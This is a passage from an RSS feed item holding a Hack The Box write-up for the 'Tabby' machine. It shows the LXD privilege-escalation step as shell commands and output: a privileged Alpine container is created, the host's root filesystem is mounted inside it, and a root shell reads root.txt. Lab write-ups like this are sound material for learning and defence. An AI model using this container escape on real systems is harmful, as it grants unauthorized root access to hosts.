&lt;pre class="highlight shell"&gt;&lt;code&gt;ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxc image import ./alpine-v3.12-x86_64-20200823_2337.tar.gz &lt;span class="nt"&gt;--alias&lt;/span&gt; bas
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxd init
Would you like to use LXD clustering? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no]: 
Do you want to configure a new storage pool? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;: 
Name of the new storage pool &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;default]: 
Name of the storage backend to use &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;dir&lt;/span&gt;, lvm, ceph, btrfs&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;btrfs]: 
Create a new BTRFS pool? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;: 
Would you like to use an existing block device? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no]: 
Size &lt;span class="k"&gt;in &lt;/span&gt;GB of the new loop device &lt;span class="o"&gt;(&lt;/span&gt;1GB minimum&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;15GB]: 
Would you like to connect to a MAAS server? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no]: 
Would you like to create a new &lt;span class="nb"&gt;local &lt;/span&gt;network bridge? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;: 
What should the new bridge be called? &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;lxdbr0]: 
What IPv4 address should be used? &lt;span class="o"&gt;(&lt;/span&gt;CIDR subnet notation, &lt;span class="s2"&gt;"auto"&lt;/span&gt; or &lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auto]: 
What IPv6 address should be used? &lt;span class="o"&gt;(&lt;/span&gt;CIDR subnet notation, &lt;span class="s2"&gt;"auto"&lt;/span&gt; or &lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;auto]: 
Would you like LXD to be available over the network? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no]: 
Would you like stale cached images to be updated automatically? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 
Would you like a YAML &lt;span class="s2"&gt;"lxd init"&lt;/span&gt; preseed to be printed? &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;/no&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no]: 
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxc init bas privs &lt;span class="nt"&gt;-c&lt;/span&gt; security.privileged&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;Creating privs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Mount the root directory inside the container
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxc config device add privs mydevice disk &lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/ &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/mnt/root &lt;span class="nv"&gt;recursive&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true
&lt;/span&gt;With the whole setup completed, now you can start a shell &lt;span class="k"&gt;in &lt;/span&gt;the container. From here on you &lt;span class="k"&gt;then &lt;/span&gt;navigate to the mount point &lt;span class="s2"&gt;"/mnt/root"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxc start privs
ash@tabby:~&lt;span class="nv"&gt;$ &lt;/span&gt;lxc &lt;span class="nb"&gt;exec &lt;/span&gt;privs /bin/sh
~ &lt;span class="c"&gt;# id&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
~ &lt;span class="c"&gt;# cd /mnt/root&lt;/span&gt;
/mnt/root &lt;span class="c"&gt;# ls&lt;/span&gt;
bin         home        lost+found  root        swap.img
boot        lib         media       run         sys
cdrom       lib32       mnt         sbin        tmp
dev         lib64       opt         snap        usr
etc         libx32      proc        srv         var
/mnt/root &lt;span class="c"&gt;# cd root/&lt;/span&gt;
/mnt/root/root &lt;span class="c"&gt;# ls&lt;/span&gt;
root.txt  snap
/mnt/root/root &lt;span class="c"&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can now get the root flag from the context of the lxc container.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>linux</category>
      <category>lxc</category>
      <category>lxd</category>
    </item>
  </channel>
</rss>
